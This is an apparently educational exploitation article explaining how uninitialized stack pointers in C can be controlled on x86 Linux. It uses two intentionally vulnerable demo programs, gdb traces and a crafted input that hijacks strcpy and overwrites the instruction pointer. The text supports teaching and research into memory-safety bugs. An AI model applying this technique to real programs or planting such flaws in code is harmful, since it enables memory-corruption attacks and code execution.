---[ Exploitation of uninitialized pointers ]---
0x01 INTRO
~~~~~~~~~~
This is a small note about the circumstances which are necessary
in order to be able to exploit an uninitialized pointer when used.
In the following a short analysis of the problem will be given.
My beginners' C book told me that an unitialized pointer points
at random locations. We'll find out how random "random" realy is ;)
0x02 BACKGROUND
~~~~~~~~~~~~~~~
To give you a feeling for the topic we'll start out with a small
example program.
-----8< uninp1.c 8<----
#include
#include
void foo(char *str)
{
int *ptr;
printf("%p contains %p\n", ptr, *ptr);
}
int main(int argc, char *argv[])
{
char buf[120];
printf(" ---[ uninp 1]--- \n");
if (argc < 2)
{
printf("usage: %s \n", argv[0]);
exit(-1);
}
strncpy(buf, argv[0], sizeof(buf));
foo(argv[0]);
}
-----8< uninp1.c 8<----
sh-2.05b$ gcc -o uninp1 uninp1.c
sh-2.05b$ ./uninp1 some_string_here
---[ uninp 1]---
0xbffff384 contains 0xbffff524
sh-2.05b$
Aha ok, the printf statement tells us that the value at address
0xbffff384 is 0xbffff524.
Now let's have a look at how the ptr is used inside foo():
gdb> disassemble foo
Dump of assembler code for function foo:
0x80483a4 : push %ebp
0x80483a5 : mov %esp,%ebp
0x80483a7 : sub $0x8,%esp
0x80483aa : sub $0x4,%esp
0x80483ad : mov 0xfffffffc(%ebp),%eax
0x80483b0 : pushl (%eax)
0x80483b2 : pushl 0xfffffffc(%ebp)
0x80483b5 : push $0x8048504
0x80483ba : call 0x80482b0
0x80483bf : add $0x10,%esp
0x80483c2 : leave
0x80483c3 : ret
End of assembler dump.
gdb>
After the function prologue and allocating local variables we se
the preparations for the printf() call at foo+9. Here the pointer's
"0xfffffffc(%ebp)" content is moved into %eax. This means nothing else
than:
eax = *(ebp - 4);
gdb> x/wx $ebp-4
0xbffff264: 0xbffff354
Then the value at this address is pushed on the stack followed by the address
of the pointer itself -
gdb> x/wx 0xbffff354
0xbffff354: 0xbffff4ea
and followed by the static string located at 0x8048504.
gdb> x/s 0x8048504
0x8048504 <_IO_stdin_used+4>: "%p contains %p\n"
gdb> c
0xbffff354 contains 0xbffff4ea
Program exited with code 037.
Ok now we know that our pointer is "initialized" with *(ebp - 4) because local
variables are accessed with negative offset from %ebp.
/*
-----------note:------------------
Breakpoint 1, 0x080483aa in foo ()
gdb> x/wx $esp+4
0xbffff264: 0xbffff354
gdb> x/wx $ebp-4
0xbffff264: 0xbffff354
*/
Let's see where it finally points to:
gdb> x/wx 0xbffff354
0xbffff354: 0xbffff4ea
gdb> x/s 0xbffff4ea
0xbffff4ea: "/home/qobaiashi/w00nf/bofresearch/uninp1"
This is the path name. If this pointer had been used in a buggy function (printf(*ptr)...)
we could set it to a nearly arbitrary value when using a link for example.
sh-2.05b$ ln ./uninp1 /tmp/w0ned
gdb> r aaaaaaaaaaa
---[ uninp 1]---
0xbffff384 contains 0xbffff524
gdb> x/s 0xbffff524
0xbffff524: "/tmp/w0ned"
Feel free to read the various wu-ftpd exploits to see real life examples of exploits
that make use of the path string.
In this case we could predict where the pointer points to and modify that location.
The next example illustrates how the pointed-to value can be modifyed directly.
-----8< uninp2.c 8<----
#include
#include
void foo(char *str)
{
char buf[20];
int *ptr;
strcpy(buf, (char *)ptr);
}
void setstack(char *str)
{
char buffer[120];
strncpy(buffer, str, 100);
}
int main(int argc, char *argv[])
{
char buf[120];
printf(" ---[ uninp 2]--- \n");
if (argc < 2)
{
printf("usage: %s \n", argv[0]);
exit(-1);
}
strncpy(buf, argv[1], 120);
setstack(buf);
foo("hiho");
}
-----8< uninp2.c 8<----
sh-2.05b$ gcc -o uninp2 uninp2.c
sh-2.05b$ ./uninp2
---[ uninp 2]---
usage: ./uninp2
sh-2.05b$
This time foo looks like:
gdb> disassemble foo
Dump of assembler code for function foo:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : sub $0x38,%esp
0x80483ea : sub $0x8,%esp
0x80483ed : pushl 0xffffffd4(%ebp)
0x80483f0 : lea 0xffffffd8(%ebp),%eax
0x80483f3 : push %eax
0x80483f4 : call 0x8048304
0x80483f9 : add $0x10,%esp
0x80483fc : leave
0x80483fd : ret
It pushes 0xffffffd4(%ebp) being (*ebp-44) as src argument for strcpy.
Now however we have a function setstack() before the vulnerable foo(). This function
uses a local buffer[120] which needs more stackspace than foo's local var's.
0x80483fe : push %ebp
0x80483ff : mov %esp,%ebp
0x8048401 : sub $0x88,%esp <--
0x8048407 : sub $0x4,%esp
0x804840a : push $0x64
0x804840c : pushl 0x8(%ebp)
0x804840f : lea 0xffffff78(%ebp),%eax
0x8048415 : push %eax
0x8048416 : call 0x80482f4
0x804841b : add $0x10,%esp
0x804841e : leave
0x804841f : ret
The strcpy() copies the given string on the stack and setstack() returns without
wiping the string off, it just sets %esp and %ebp accordingly. When the pointer is
initialized in foo it gets a value from the previous stack..
Let's run it through gdb:
gdb> r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXX
---[ uninp 2]---
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000000 ebx:FEFEFEFF ecx:400A9170 edx:400A914D eflags:00210206
esi:58585858 edi:BFFFF1E0 esp:BFFFF1B0 ebp:BFFFF208 eip:400A9170
cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s z a P c
[002B:BFFFF1B0]---------------------------------------------------------[stack]
BFFFF1E0 : 00 00 00 00 90 0B 16 40 - 20 40 01 40 F4 F2 FF BF .......@ @.@....
BFFFF1D0 : 61 61 61 61 61 61 61 61 - 61 61 61 61 58 58 58 58 aaaaaaaaaaaaXXXX
BFFFF1C0 : E0 F1 FF BF 58 58 58 58 - 61 61 61 61 61 61 61 61 ....XXXXaaaaaaaa
BFFFF1B0 : 90 0B 16 40 20 40 01 40 - F4 F2 FF BF F9 83 04 08 ...@ @.@........
[002B:58585858]---------------------------------------------------------[ data]
58585858 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
58585868 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0023:400A9170]---------------------------------------------------------[ code]
0x400a9170 : mov (%esi),%ecx
0x400a9172 : lea 0x4(%esi),%esi
0x400a9175 : sub %ecx,%eax
0x400a9177 : add %ebx,%ecx
0x400a9179 : dec %eax
0x400a917a : jae 0x400a9190
------------------------------------------------------------------------------
0x400a9170 in strcpy () from /lib/libc.so.6
gdb> x/wx $ebp-44
0xbffff1c4: 0x58585858
gdb>
At this offset (XXXX) we can control the pointer and thus force a buffer overflow:
gdb> r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaàñÿ¿aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
---[ uninp 2]---
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BFFFF1A0 ebx:40160B90 ecx:FEFEFF01 edx:00000002 eflags:00210286
esi:40014020 edi:BFFFF2B4 esp:BFFFF1D0 ebp:61616161 eip:61616161
cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t S z a P c
[002B:BFFFF1D0]---------------------------------------------------------[stack]
BFFFF200 : 61 61 61 61 61 61 61 61 - 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
BFFFF1F0 : 61 61 61 61 61 61 61 61 - 61 61 61 61 E0 F1 FF BF aaaaaaaaaaaa....
BFFFF1E0 : 61 61 61 61 61 61 61 61 - 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
BFFFF1D0 : 61 61 61 61 61 61 61 61 - 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
[002B:40014020]---------------------------------------------------------[ data]
40014020 : 78 46 01 40 03 00 00 00 - C8 47 01 40 00 00 00 00 xF.@.....G.@....
40014030 : C8 47 01 40 E8 4D 01 40 - 03 00 00 00 00 00 00 00 .G.@.M.@........
[0023:61616161]---------------------------------------------------------[ code]
0x61616161: add %al,(%eax)
0x61616163: add %al,(%eax)
0x61616165: add %al,(%eax)
0x61616167: add %al,(%eax)
0x61616169: add %al,(%eax)
0x6161616b: add %al,(%eax)
------------------------------------------------------------------------------
0x61616161 in ?? ()
gdb> x/s $eax
0xbffff1a0: 'a' , "àñÿ¿", 'a' ,
"hòÿ¿¼\204\004\b\220\v\026@ @\001@\210òÿ¿®8\004@\002"
gdb>
Yeah. That's it. We've forced strcpy to read from 0xbffff1a0 which was inside a controlable
buffer. You get the point.....stack overflow......control eip.......shellcode.....sh-2.05b$
0x03 END
~~~~~~~~
I hope you enjoyed this small (bloated) note on uninitialized pointers. Greetings and thx go
out to grugq for discussion on the topic; and #!w00nf for being cool :>
qobaiashi@u-n-f.com